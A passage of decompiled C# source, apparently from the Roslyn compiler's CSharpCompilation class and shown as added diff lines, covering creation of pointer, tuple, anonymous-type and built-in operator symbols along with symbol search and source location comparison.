+ + protected override IPointerTypeSymbol CommonCreatePointerTypeSymbol(ITypeSymbol elementType) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return CreatePointerTypeSymbol(elementType.EnsureCSharpSymbolOrNull("elementType"), elementType.NullableAnnotation.ToInternalAnnotation()).GetPublicSymbol(); + } + + protected override IFunctionPointerTypeSymbol CommonCreateFunctionPointerTypeSymbol(ITypeSymbol returnType, RefKind returnRefKind, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, SignatureCallingConvention callingConvention, ImmutableArray callingConventionTypes) + { + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Invalid comparison between Unknown and I4 + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + //IL_0147: Invalid comparison between Unknown and I4 + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + if (returnType == null) + { + throw new ArgumentNullException("returnType"); + } + if (parameterTypes.IsDefault) + { + throw new ArgumentNullException("parameterTypes"); + } + for (int i = 0; i < parameterTypes.Length; i++) + { + if (parameterTypes[i] == null) + { + throw new ArgumentNullException(string.Format("{0}[{1}]", "parameterTypes", i)); + } + } + if (parameterRefKinds.IsDefault) + { + throw new ArgumentNullException("parameterRefKinds"); + } + if (parameterRefKinds.Length != parameterTypes.Length) + { + throw new ArgumentException(string.Format(CSharpResources.NotSameNumberParameterTypesAndRefKinds, parameterTypes.Length, parameterRefKinds.Length)); + } + if ((int)returnRefKind == 2) + { + throw new ArgumentException(CSharpResources.OutIsNotValidForReturn); + } + if (callingConvention != SignatureCallingConvention.Unmanaged && !callingConventionTypes.IsDefaultOrEmpty) + { + throw new ArgumentException(string.Format(CSharpResources.CallingConventionTypesRequireUnmanaged, "callingConventionTypes", "callingConvention")); + } + if (!CallingConventionUtils.IsValid(callingConvention)) + { + throw new ArgumentOutOfRangeException("callingConvention"); + } + TypeWithAnnotations returnType2 = TypeWithAnnotations.Create(returnType.EnsureCSharpSymbolOrNull("returnType"), returnType.NullableAnnotation.ToInternalAnnotation()); + ImmutableArray parameterTypes2 = ImmutableArrayExtensions.SelectAsArray(parameterTypes, (Func)((ITypeSymbol type) => TypeWithAnnotations.Create(type.EnsureCSharpSymbolOrNull("parameterTypes"), type.NullableAnnotation.ToInternalAnnotation()))); + CallingConvention val = CallingConventionUtils.FromSignatureConvention(callingConvention); + ImmutableArray callingConventionModifiers = (((int)val == 9 && !callingConventionTypes.IsDefaultOrEmpty) ? ImmutableArrayExtensions.SelectAsArray(callingConventionTypes, (Func)((INamedTypeSymbol type, int index, CSharpCompilation @this) => getCustomModifierForType(type, @this, index)), this) : ImmutableArray.Empty); + return Microsoft.CodeAnalysis.CSharp.Symbols.FunctionPointerTypeSymbol.CreateFromParts(val, callingConventionModifiers, returnType2, returnRefKind, parameterTypes2, parameterRefKinds, this).GetPublicSymbol(); + static CustomModifier getCustomModifierForType(INamedTypeSymbol type, CSharpCompilation @this, int index) + { + if (type == null) + { + throw new ArgumentNullException(string.Format("{0}[{1}]", "callingConventionTypes", index)); + } + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol = type.EnsureCSharpSymbolOrNull(string.Format("{0}[{1}]", "callingConventionTypes", index)); + if (!Microsoft.CodeAnalysis.CSharp.Symbols.FunctionPointerTypeSymbol.IsCallingConventionModifier(namedTypeSymbol) || @this.Assembly.CorLibrary != namedTypeSymbol.ContainingAssembly) + { + throw new ArgumentException(string.Format(CSharpResources.CallingConventionTypeIsInvalid, ((ISymbol)type).ToDisplayString((SymbolDisplayFormat)null))); + } + return CSharpCustomModifier.CreateOptional(namedTypeSymbol); + } + } + + protected override INamedTypeSymbol CommonCreateNativeIntegerTypeSymbol(bool signed) + { + return CreateNativeIntegerTypeSymbol(signed).GetPublicSymbol(); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol CreateNativeIntegerTypeSymbol(bool signed) + { + return GetSpecialType((SpecialType)(signed ? 21 : 22)).AsNativeInteger(); + } + + protected override INamedTypeSymbol CommonCreateTupleTypeSymbol(ImmutableArray elementTypes, ImmutableArray elementNames, ImmutableArray elementLocations, ImmutableArray elementNullableAnnotations) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(elementTypes.Length); + for (int i = 0; i < elementTypes.Length; i++) + { + ITypeSymbol val = elementTypes[i]; + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol = val.EnsureCSharpSymbolOrNull(string.Format("{0}[{1}]", "elementTypes", i)); + NullableAnnotation nullableAnnotation = (elementNullableAnnotations.IsDefault ? val.NullableAnnotation : elementNullableAnnotations[i]).ToInternalAnnotation(); + instance.Add(TypeWithAnnotations.Create(typeSymbol, nullableAnnotation)); + } + return Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol.CreateTuple(null, instance.ToImmutableAndFree(), elementLocations, elementNames, this, shouldCheckConstraints: false, includeNullability: false, default(ImmutableArray)).GetPublicSymbol(); + } + + protected override INamedTypeSymbol CommonCreateTupleTypeSymbol(INamedTypeSymbol underlyingType, ImmutableArray elementNames, ImmutableArray elementLocations, ImmutableArray elementNullableAnnotations) + { + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol? namedTypeSymbol = underlyingType.EnsureCSharpSymbolOrNull("underlyingType"); + if (!namedTypeSymbol.IsTupleTypeOfCardinality(out var tupleCardinality)) + { + throw new ArgumentException(CodeAnalysisResources.TupleUnderlyingTypeMustBeTupleCompatible, "underlyingType"); + } + elementNames = Compilation.CheckTupleElementNames(tupleCardinality, elementNames); + Compilation.CheckTupleElementLocations(tupleCardinality, elementLocations); + Compilation.CheckTupleElementNullableAnnotations(tupleCardinality, elementNullableAnnotations); + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol2 = Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol.CreateTuple(namedTypeSymbol, elementNames, default(ImmutableArray), elementLocations); + if (!elementNullableAnnotations.IsDefault) + { + namedTypeSymbol2 = namedTypeSymbol2.WithElementTypes(ImmutableArrayExtensions.ZipAsArray(namedTypeSymbol2.TupleElementTypesWithAnnotations, elementNullableAnnotations, (Func)((TypeWithAnnotations t, NullableAnnotation a) => TypeWithAnnotations.Create(t.Type, a.ToInternalAnnotation())))); + } + return namedTypeSymbol2.GetPublicSymbol(); + } + + protected override INamedTypeSymbol CommonCreateAnonymousTypeSymbol(ImmutableArray memberTypes, ImmutableArray memberNames, ImmutableArray memberLocations, ImmutableArray memberIsReadOnly, ImmutableArray memberNullableAnnotations) + { + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + int i = 0; + for (int length = memberTypes.Length; i < length; i++) + { + memberTypes[i].EnsureCSharpSymbolOrNull(string.Format("{0}[{1}]", "memberTypes", i)); + } + if (!memberIsReadOnly.IsDefault && memberIsReadOnly.Any((bool v) => !v)) + { + throw new ArgumentException("Non-ReadOnly members are not supported in C# anonymous types."); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num = 0; + for (int length2 = memberTypes.Length; num < length2; num++) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol symbol = memberTypes[num].GetSymbol(); + string name = memberNames[num]; + Location location = (Location)(memberLocations.IsDefault ? ((object)Location.None) : ((object)memberLocations[num])); + NullableAnnotation nullableAnnotation = (memberNullableAnnotations.IsDefault ? NullableAnnotation.Oblivious : memberNullableAnnotations[num].ToInternalAnnotation()); + instance.Add(new AnonymousTypeField(name, location, TypeWithAnnotations.Create(symbol, nullableAnnotation), (RefKind)0, (ScopedKind)0)); + } + AnonymousTypeDescriptor typeDescr = new AnonymousTypeDescriptor(instance.ToImmutableAndFree(), Location.None); + return AnonymousTypeManager.ConstructAnonymousTypeSymbol(typeDescr).GetPublicSymbol(); + } + + protected override IMethodSymbol CommonCreateBuiltinOperator(string name, ITypeSymbol returnType, ITypeSymbol leftType, ITypeSymbol rightType) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol csharpReturnType = returnType.EnsureCSharpSymbolOrNull("returnType"); + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol csharpLeftType = leftType.EnsureCSharpSymbolOrNull("leftType"); + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol csharpRightType = rightType.EnsureCSharpSymbolOrNull("rightType"); + SyntaxKind syntaxKind = SyntaxFacts.GetOperatorKind(name); + if (syntaxKind == SyntaxKind.None) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.BadBuiltInOps1, name), "name"); + } + if (OperatorFacts.BinaryOperatorNameFromSyntaxKindIfAny(syntaxKind, SyntaxFacts.IsCheckedOperator(name)) != name) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.BadBuiltInOps3, name), "name"); + } + validateSignature(); + return new SynthesizedIntrinsicOperatorSymbol(csharpLeftType, name, csharpRightType, csharpReturnType).GetPublicSymbol(); + static bool isAllowedPointerArithmeticIntegralType(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + SpecialType specialType = type.SpecialType; + if (specialType - 13 <= 3) + { + return true; + } + return false; + } + bool isReadOnlySpanOfByteType(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + if (IsReadOnlySpanType(type)) + { + return (int)((Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].SpecialType == 10; + } + return false; + } + void validateSignature() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_0141: Invalid comparison between Unknown and I4 + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Invalid comparison between Unknown and I4 + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0122: Invalid comparison between Unknown and I4 + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Invalid comparison between Unknown and I4 + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_0129: Invalid comparison between Unknown and I4 + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + //IL_017c: Invalid comparison between Unknown and I4 + //IL_0213: Unknown result type (might be due to invalid IL or missing references) + //IL_0219: Invalid comparison between Unknown and I4 + //IL_040f: Unknown result type (might be due to invalid IL or missing references) + //IL_0415: Invalid comparison between Unknown and I4 + //IL_0437: Unknown result type (might be due to invalid IL or missing references) + //IL_043d: Invalid comparison between Unknown and I4 + //IL_0528: Unknown result type (might be due to invalid IL or missing references) + //IL_052f: Invalid comparison between Unknown and I4 + //IL_0372: Unknown result type (might be due to invalid IL or missing references) + //IL_02a9: Unknown result type (might be due to invalid IL or missing references) + //IL_045f: Unknown result type (might be due to invalid IL or missing references) + //IL_0465: Invalid comparison between Unknown and I4 + //IL_0392: Unknown result type (might be due to invalid IL or missing references) + //IL_0310: Unknown result type (might be due to invalid IL or missing references) + //IL_02c9: Unknown result type (might be due to invalid IL or missing references) + //IL_03a0: Unknown result type (might be due to invalid IL or missing references) + //IL_0330: Unknown result type (might be due to invalid IL or missing references) + //IL_02d7: Unknown result type (might be due to invalid IL or missing references) + //IL_033e: Unknown result type (might be due to invalid IL or missing references) + if ((int)csharpReturnType.TypeKind == 4 || (int)csharpLeftType.TypeKind == 4 || (int)csharpRightType.TypeKind == 4) + { + return; + } + BinaryOperatorKind binaryOperatorKind = Binder.SyntaxKindToBinaryOperatorKind(SyntaxFacts.GetBinaryExpression(syntaxKind)); + if ((int)csharpReturnType.SpecialType != 0 && (int)csharpLeftType.SpecialType != 0 && (int)csharpRightType.SpecialType != 0) + { + BinaryOperatorKind binaryOperatorKind2 = OverloadResolution.BinopEasyOut.OpKind(binaryOperatorKind, csharpLeftType, csharpRightType); + if (binaryOperatorKind2 != BinaryOperatorKind.Error) + { + BinaryOperatorSignature signature = builtInOperators.GetSignature(binaryOperatorKind2); + if (csharpReturnType.SpecialType == signature.ReturnType.SpecialType && csharpLeftType.SpecialType == signature.LeftType.SpecialType && csharpRightType.SpecialType == signature.RightType.SpecialType) + { + return; + } + } + } + bool flag = ((binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) ? true : false); + if (flag && (int)csharpReturnType.SpecialType == 7) + { + SpecialType specialType = csharpLeftType.SpecialType; + SpecialType specialType2 = csharpRightType.SpecialType; + if ((int)specialType != 1) + { + if ((int)specialType == 4 && (int)specialType2 == 4) + { + goto IL_012b; + } + } + else if ((int)specialType2 == 1) + { + goto IL_012b; + } + flag = false; + goto IL_0131; + } + goto IL_0135; + IL_0131: + if (flag) + { + return; + } + goto IL_0135; + IL_012b: + flag = true; + goto IL_0131; + IL_0135: + if ((int)csharpLeftType.TypeKind == 3 && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpLeftType, csharpRightType, (TypeCompareKind)0)) + { + flag = ((binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) ? true : false); + if (flag && (int)csharpReturnType.SpecialType == 7) + { + return; + } + flag = ((binaryOperatorKind == BinaryOperatorKind.Addition || binaryOperatorKind == BinaryOperatorKind.Subtraction) ? true : false); + if (flag && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpLeftType, csharpReturnType, (TypeCompareKind)0)) + { + return; + } + } + if (csharpLeftType.IsEnumType() || csharpRightType.IsEnumType()) + { + switch (binaryOperatorKind) + { + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + flag = true; + break; + default: + flag = false; + break; + } + if (flag && (int)csharpReturnType.SpecialType == 7 && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpLeftType, csharpRightType, (TypeCompareKind)0)) + { + return; + } + flag = ((binaryOperatorKind == BinaryOperatorKind.And || binaryOperatorKind == BinaryOperatorKind.Xor || binaryOperatorKind == BinaryOperatorKind.Or) ? true : false); + if (flag && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpLeftType, csharpRightType, (TypeCompareKind)0) && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpReturnType, csharpRightType, (TypeCompareKind)0)) + { + return; + } + flag = ((binaryOperatorKind == BinaryOperatorKind.Addition || binaryOperatorKind == BinaryOperatorKind.Subtraction) ? true : false); + if ((flag && ((csharpLeftType.IsEnumType() && (SpecialType?)csharpRightType.SpecialType == csharpLeftType.GetEnumUnderlyingType()?.SpecialType && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpLeftType, csharpReturnType, (TypeCompareKind)0)) || (csharpRightType.IsEnumType() && (SpecialType?)csharpLeftType.SpecialType == csharpRightType.GetEnumUnderlyingType()?.SpecialType && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpRightType, csharpReturnType, (TypeCompareKind)0)))) || (binaryOperatorKind == BinaryOperatorKind.Subtraction && (SpecialType?)csharpReturnType.SpecialType == csharpLeftType.GetEnumUnderlyingType()?.SpecialType && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpLeftType, csharpRightType, (TypeCompareKind)0))) + { + return; + } + } + switch (binaryOperatorKind) + { + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + flag = true; + break; + default: + flag = false; + break; + } + if (flag && (int)csharpReturnType.SpecialType == 7 && csharpLeftType is Microsoft.CodeAnalysis.CSharp.Symbols.PointerTypeSymbol pointerTypeSymbol) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol pointedAtType = pointerTypeSymbol.PointedAtType; + if ((object)pointedAtType != null && (int)pointedAtType.SpecialType == 6 && csharpRightType is Microsoft.CodeAnalysis.CSharp.Symbols.PointerTypeSymbol pointerTypeSymbol2) + { + pointedAtType = pointerTypeSymbol2.PointedAtType; + if ((object)pointedAtType != null && (int)pointedAtType.SpecialType == 6) + { + return; + } + } + } + if ((binaryOperatorKind == BinaryOperatorKind.Addition && csharpLeftType.IsPointerType() && isAllowedPointerArithmeticIntegralType(csharpRightType) && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpLeftType, csharpReturnType, (TypeCompareKind)0)) || (binaryOperatorKind == BinaryOperatorKind.Addition && csharpRightType.IsPointerType() && isAllowedPointerArithmeticIntegralType(csharpLeftType) && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpRightType, csharpReturnType, (TypeCompareKind)0)) || (binaryOperatorKind == BinaryOperatorKind.Subtraction && csharpLeftType.IsPointerType() && isAllowedPointerArithmeticIntegralType(csharpRightType) && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpLeftType, csharpReturnType, (TypeCompareKind)0)) || (binaryOperatorKind == BinaryOperatorKind.Subtraction && csharpLeftType.IsPointerType() && (int)csharpReturnType.SpecialType == 15 && Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpLeftType, csharpRightType, (TypeCompareKind)0)) || (binaryOperatorKind == BinaryOperatorKind.Addition && isReadOnlySpanOfByteType(csharpReturnType) && isReadOnlySpanOfByteType(csharpLeftType) && isReadOnlySpanOfByteType(csharpRightType))) + { + return; + } + throw new ArgumentException(string.Format(CodeAnalysisResources.BadBuiltInOps2, csharpReturnType.ToDisplayString() + " operator " + name + "(" + csharpLeftType.ToDisplayString() + ", " + csharpRightType.ToDisplayString() + ")")); + } + } + + protected override IMethodSymbol CommonCreateBuiltinOperator(string name, ITypeSymbol returnType, ITypeSymbol operandType) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol csharpReturnType = returnType.EnsureCSharpSymbolOrNull("returnType"); + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol csharpOperandType = operandType.EnsureCSharpSymbolOrNull("operandType"); + SyntaxKind syntaxKind = SyntaxFacts.GetOperatorKind(name); + bool flag = syntaxKind == SyntaxKind.None; + if (!flag) + { + string text = name; + bool flag2 = ((text == "op_True" || text == "op_False") ? true : false); + flag = flag2; + } + if (flag) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.BadBuiltInOps1, name), "name"); + } + if (OperatorFacts.UnaryOperatorNameFromSyntaxKindIfAny(syntaxKind, SyntaxFacts.IsCheckedOperator(name)) != name) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.BadBuiltInOps3, name), "name"); + } + validateSignature(); + return new SynthesizedIntrinsicOperatorSymbol(csharpOperandType, name, csharpReturnType).GetPublicSymbol(); + void validateSignature() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + if ((int)csharpReturnType.TypeKind != 4 && (int)csharpOperandType.TypeKind != 4) + { + UnaryOperatorKind unaryOperatorKind = Binder.SyntaxKindToUnaryOperatorKind(SyntaxFacts.GetPrefixUnaryExpression(syntaxKind)); + if ((int)csharpReturnType.SpecialType != 0 && (int)csharpOperandType.SpecialType != 0) + { + UnaryOperatorKind unaryOperatorKind2 = OverloadResolution.UnopEasyOut.OpKind(unaryOperatorKind, csharpOperandType); + if (unaryOperatorKind2 != UnaryOperatorKind.Error) + { + UnaryOperatorSignature signature = builtInOperators.GetSignature(unaryOperatorKind2); + if (csharpReturnType.SpecialType == signature.ReturnType.SpecialType && csharpOperandType.SpecialType == signature.OperandType.SpecialType) + { + return; + } + } + } + bool flag3 = csharpOperandType.IsEnumType(); + if (flag3) + { + bool flag4 = ((unaryOperatorKind == UnaryOperatorKind.PrefixIncrement || unaryOperatorKind == UnaryOperatorKind.PrefixDecrement || unaryOperatorKind == UnaryOperatorKind.BitwiseComplement) ? true : false); + flag3 = flag4; + } + if (!flag3 || !Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpOperandType, csharpReturnType, (TypeCompareKind)0)) + { + flag3 = csharpOperandType.IsPointerType(); + if (flag3) + { + bool flag4 = ((unaryOperatorKind == UnaryOperatorKind.PrefixIncrement || unaryOperatorKind == UnaryOperatorKind.PrefixDecrement) ? true : false); + flag3 = flag4; + } + if (!flag3 || !Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(csharpOperandType, csharpReturnType, (TypeCompareKind)0)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.BadBuiltInOps2, csharpReturnType.ToDisplayString() + " operator " + name + "(" + csharpOperandType.ToDisplayString() + ")")); + } + } + } + } + } + + protected override IMethodSymbol? CommonGetEntryPoint(CancellationToken cancellationToken) + { + return GetEntryPoint(cancellationToken).GetPublicSymbol(); + } + + internal override int CompareSourceLocations(Location loc1, Location loc2) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + int num = ((Compilation)this).CompareSyntaxTreeOrdering(loc1.SourceTree, loc2.SourceTree); + if (num != 0) + { + return num; + } + TextSpan sourceSpan = loc1.SourceSpan; + int start = ((TextSpan)(ref sourceSpan)).Start; + sourceSpan = loc2.SourceSpan; + return start - ((TextSpan)(ref sourceSpan)).Start; + } + + internal override int CompareSourceLocations(SyntaxReference loc1, SyntaxReference loc2) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + int num = ((Compilation)this).CompareSyntaxTreeOrdering(loc1.SyntaxTree, loc2.SyntaxTree); + if (num != 0) + { + return num; + } + TextSpan span = loc1.Span; + int start = ((TextSpan)(ref span)).Start; + span = loc2.Span; + return start - ((TextSpan)(ref span)).Start; + } + + internal override int CompareSourceLocations(SyntaxNode loc1, SyntaxNode loc2) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + int num = ((Compilation)this).CompareSyntaxTreeOrdering(loc1.SyntaxTree, loc2.SyntaxTree); + if (num != 0) + { + return num; + } + TextSpan span = loc1.Span; + int start = ((TextSpan)(ref span)).Start; + span = loc2.Span; + return start - ((TextSpan)(ref span)).Start; + } + + public override bool ContainsSymbolsWithName(Func predicate, SymbolFilter filter = (SymbolFilter)6, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (predicate == null) + { + throw new ArgumentNullException("predicate"); + } + if ((int)filter == 0) + { + throw new ArgumentException(CSharpResources.NoNoneSearchCriteria, "filter"); + } + return DeclarationTable.ContainsName(MergedRootDeclaration, predicate, filter, cancellationToken); + } + + public override IEnumerable GetSymbolsWithName(Func predicate, SymbolFilter filter = (SymbolFilter)6, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + if (predicate == null) + { + throw new ArgumentNullException("predicate"); + } + if ((int)filter == 0) + { + throw new ArgumentException(CSharpResources.NoNoneSearchCriteria, "filter"); + } + return new PredicateSymbolSearcher(this, filter, predicate, cancellationToken).GetSymbolsWithName().GetPublicSymbols(); + } + + public override bool ContainsSymbolsWithName(string name, SymbolFilter filter = (SymbolFilter)6, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (name == null) + { + throw new ArgumentNullException("name"); + } + if ((int)filter == 0) + { + throw new ArgumentException(CSharpResources.NoNoneSearchCriteria, "filter"); + } + return DeclarationTable.ContainsName(MergedRootDeclaration, name, filter, cancellationToken); + } + + public override IEnumerable GetSymbolsWithName(string name, SymbolFilter filter = (SymbolFilter)6, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return GetSymbolsWithNameCore(name, filter, cancellationToken).GetPublicSymbols(); + } + + internal IEnumerable GetSymbolsWithNameCore(string name, SymbolFilter filter = (SymbolFilter)6, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + if (name == null) + { + throw new ArgumentNullException("name"); + } + if ((int)filter == 0) + { + throw new ArgumentException(CSharpResources.NoNoneSearchCriteria, "filter"); + } + return new NameSymbolSearcher(this, filter, name, cancellationToken).GetSymbolsWithName(); + } + + internal bool HasDynamicEmitAttributes(BindingDiagnosticBag diagnostics, Location location) + { + if ((object)Binder.GetWellKnownTypeMember(this, (WellKnownMember)119, diagnostics, location) != null) + { + return (object)Binder.GetWellKnownTypeMember(this, (WellKnownMember)120, diagnostics, location) != null; + } + return false; + } + + internal bool HasTupleNamesAttributes(BindingDiagnosticBag diagnostics, Location location) + { + return (object)Binder.GetWellKnownTypeMember(this, (WellKnownMember)352, diagnostics, location) != null; + } + + internal bool CanEmitBoolean() + { + return CanEmitSpecialType((SpecialType)7); + } + + internal bool CanEmitSpecialType(SpecialType type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + DiagnosticInfo diagnosticInfo = GetSpecialType(type).GetUseSiteInfo().DiagnosticInfo; + if (diagnosticInfo != null) + { + return (int)diagnosticInfo.Severity != 3; + } + return true; + } + + internal bool ShouldEmitNativeIntegerAttributes() + { + return !Assembly.RuntimeSupportsNumericIntPtr; + } + + internal bool ShouldEmitNullableAttributes(Symbol symbol) + { + if (symbol.ContainingModule != SourceModule) + { + return false; + } + if (!EmitNullablePublicOnly) + { + return true; + } + symbol = getExplicitAccessibilitySymbol(symbol); + if (!AccessCheck.IsEffectivelyPublicOrInternal(symbol, out var isInternal)) + { + return false; + } + if (isInternal) + { + return SourceAssembly.InternalsAreVisible; + } + return true; + static Symbol getExplicitAccessibilitySymbol(Symbol containingSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Expected I4, but got Unknown + while (true) + { + SymbolKind kind = containingSymbol.Kind; + if ((int)kind != 5) + { + switch (kind - 13) + { + case 0: + case 2: + case 4: + break; + default: + return containingSymbol; + } + } + containingSymbol = containingSymbol.ContainingSymbol; + } + } + } + + internal override AnalyzerDriver CreateAnalyzerDriver(ImmutableArray analyzers, AnalyzerManager analyzerManager, SeverityFilter severityFilter) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + Func func = (SyntaxNode node) => node.Kind(); + Func func2 = (SyntaxTrivia trivia) => trivia.Kind() == SyntaxKind.SingleLineCommentTrivia || trivia.Kind() == 